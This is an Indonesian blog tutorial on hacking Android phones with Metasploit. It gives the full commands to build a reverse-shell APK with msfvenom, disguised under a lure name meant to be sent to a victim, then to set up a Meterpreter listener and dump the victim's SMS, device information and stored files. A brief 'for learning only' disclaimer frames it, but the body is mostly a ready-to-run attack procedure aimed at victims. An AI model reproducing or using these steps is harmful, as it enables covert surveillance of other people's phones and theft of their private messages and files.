Meretas HP Android Dengan Metasploit

Baik, kali ini saya akan mencoba meretas HP android dengan Metasploit, dengan Metasploit kamu bisa membajak atau Menyadap WhatsApp, Isi SMS, Kontak korban DLL. Sebelum melakukan ini kamu harus terlebih dahulu menginstall Metasploit di Linux atau jika kamu menggunakan android bisa menginstall nya di Termux.

Catatan : Saya memberikan tutorial ini hanya untuk pembelajaran, bukan untuk disalah gunakan. Dan saat saya implementasikan Teknik ini, saya menggunakan HP android milik saya sendiri sebagai contoh nya, dan saya memberikan tutorial ini agar kalian tahu bagaimana cara kerja hacker didunia maya supaya kamu berhati-hati saat menginstall aplikasi android yang tidak jelas sumbernya.

Oke, saya anggap kalian sudah menginstall Metasploit di Perangkat kalian masing masing, jika kamu tidak tahu bagaimana cara menginstall Metasploit, kamu bisa cari tutorial nya di Google dan Youtube karena ada banyak sekali tutorial nya.

Kali Ini saya menggunakan HP android untuk melakukan nya, karena spek Komputer saya Minim, jadi mau tidak mau saya menginstall Metasploit di Termux, sekarang kamu buka Terminal / Termux Nya dan ketik :

$ ifconfig

Ifconfig ini adalah perintah untuk mengecek IP kita yang nantinya menjadi jalan untuk terhubung ke Android target, Ingat ingat IP kamu, kalau bisa ditulis. Lihat gambar dibawah ini :

Nah IP saya adalah : 192.168.43.1

Sekarang kamu bisa ketikan perintah berikut :

$ msfconsole

Lihat gambar dibawah ini :

Jika sudah, kamu bisa membuat aplikasi yang nantinya di install kan ke HP target atau korban, disini saya menggunakan HP saya sendiri untuk mencobanya. Untuk membuat aplikasi nya kamu bisa ketik :

msf6 > clear

kemudian masukan perintah berikut ini :

msf6 > msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.1 LPORT=4444 > simontok.apk

NB :

LHOST : di isi dengan IP kamu yang tadi sudah kamu cek

LPORT : Isikan Port 4444

simontok.apk adalah aplikasi yang nanti bisa kamu kirim ke korban dan korban harus menginstall nya. Lihat gambar dibawah ini :

 

Tunggu hingga proses selesai, lalu Untuk melihat aplikasi nya sudah ada atau belum, kamu bisa ketik ls lihat gambar dibawah ini :

sekarang copy aplikasinya ke memory internal kamu, cara nya dengan mengetikan perintah berikut :

msf6 > cp /data/data/com.termux/files/home/simontok.apk /storage/emulated/0/data/

Sekarang buka filemanager, lalu buka folder data di memori internal kamu, lihat gambar dibawah ini :

Sekarang kamu berhasil membuat aplikasi nya, setelah itu aplikasi yang telah kamu buat tadi harus di terinstall di perangkat korban, kalau belum terinstall maka program nya tidak akan berjalan. Sekarang ketik perintah berikut :

msf6 > use exploit/multi/handler

Terus Enter

msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp

Terus Enter

msf6 exploit(multi/handler) > set lhost 192.168.43.1

Masukan IP Kamu lalu enter

msf6 exploit(multi/handler) > set lport 4444

Masukan Port nya Lalu enter

msf6 exploit(multi/handler) > exploit

setelah itu kamu bisa ketik exploit dan enter, nah sekarang suruh korban menginstall aplikasi nya lalu membuka aplikasi tersebut, setelah itu otomatis kamu bisa masuk ke HP Android Korban, Lihat gambar dibawah ini :

Untuk mengetahui perintah apa saja yang bisa kamu lakukan untuk menyadap, kamu bisa ketik perintah berikut :

meterpreter > help

Saya akan mencoba melihat SMS apa saja di hp korban dengan mengetikan perintah berikut :

meterpreter > dump_sms

Saya ingin mengetahui type HP Android Korban Dengan mengetikan perintah berikut :

meterpreter > sysinfo

Setelah itu saya akan melihat ada file apa saja di HP korban dengan perintah berikut :

meterpreter > cd /storage/

Untuk melihat nya kamu bisa ketik ls

Oke sekiranya kamu sudah menyadap nya, kamu bisa ketik exit terus enter, lalu exit lagi terus enter. Nah setelah itu jika kamu ingin melihat hasil sadapan kamu, kamu bisa ketik ls, lihat gambar dibawah ini :

Nah itu dia SMS yang tadi sudah kita sadap, sekarang pindahkan saja ke folder data dengan perintah berikut :

$ cp /data/data/com.termux/files/home/sms_dump_20201219190558.txt /storage/emulated/0/data/

Sekarang buka file itu di folder data, maka hasilnya akan seperti pada gambar dibawah ini :

Oke ternyata saya selingkuh dengan Operator IM3, Wkwkwkw. Baik mungkin sampai disini dulu tutorial kali ini, ingat! jangan disalah gunakan ya! ini hanya untuk pembelajaran saja, semoga bermanfaat

Bagikan Artikel ini